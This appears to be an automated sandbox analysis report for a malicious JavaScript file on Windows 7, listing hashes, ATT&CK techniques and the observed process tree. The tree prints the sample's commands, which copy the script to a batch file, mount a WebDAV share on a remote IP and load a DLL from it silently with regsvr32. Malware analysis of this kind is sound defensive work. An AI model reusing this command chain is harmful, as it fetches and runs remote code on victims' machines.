814fa59f3420fbc00590ea9d7bfae22cf321f9a4a2651afc7a1c036460bda10b

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
11/07/2024, 14:44

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General

Target

319082727724431627.js
Size

14KB
MD5

26bfd4afef5ef8710dc37a03d1b47cde
SHA1

bc88b70ff50a268c1ef112249301226e13dd0a4f
SHA256

814fa59f3420fbc00590ea9d7bfae22cf321f9a4a2651afc7a1c036460bda10b
SHA512

5d8156a431ec261c853c54fca9be36d92fd5ab3165c0248108d7fc1a1a6422f9e92c4dea2d239144d58a08a3b60cd9c481b8f7291365e79d78dd6f144d65dbcc
SSDEEP

96:c0nWLVc/oYXtCaDfv9++3/Vv9++niebnzxMcq8PNtyAmZGp2gmC7cfhtzogcSeyA:aLVcN1++d1++nTzxMw23Omk/F

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2172	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1856 wrote to memory of 3016	1856	wscript.exe	30
PID 1856 wrote to memory of 3016	1856	wscript.exe	30
PID 1856 wrote to memory of 3016	1856	wscript.exe	30
PID 3016 wrote to memory of 3060	3016	cmd.exe	32
PID 3016 wrote to memory of 3060	3016	cmd.exe	32
PID 3016 wrote to memory of 3060	3016	cmd.exe	32
PID 3016 wrote to memory of 2172	3016	cmd.exe	33
PID 3016 wrote to memory of 2172	3016	cmd.exe	33
PID 3016 wrote to memory of 2172	3016	cmd.exe	33
PID 3016 wrote to memory of 2172	3016	cmd.exe	33
PID 3016 wrote to memory of 2172	3016	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\319082727724431627.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\319082727724431627.js" "C:\Users\Admin\AppData\Local\Temp\\reflectiveserioustrains.bat" && "C:\Users\Admin\AppData\Local\Temp\\reflectiveserioustrains.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:3060
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\530.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\reflectiveserioustrains.bat

Filesize
14KB

MD5
26bfd4afef5ef8710dc37a03d1b47cde

SHA1
bc88b70ff50a268c1ef112249301226e13dd0a4f

SHA256
814fa59f3420fbc00590ea9d7bfae22cf321f9a4a2651afc7a1c036460bda10b

SHA512
5d8156a431ec261c853c54fca9be36d92fd5ab3165c0248108d7fc1a1a6422f9e92c4dea2d239144d58a08a3b60cd9c481b8f7291365e79d78dd6f144d65dbcc

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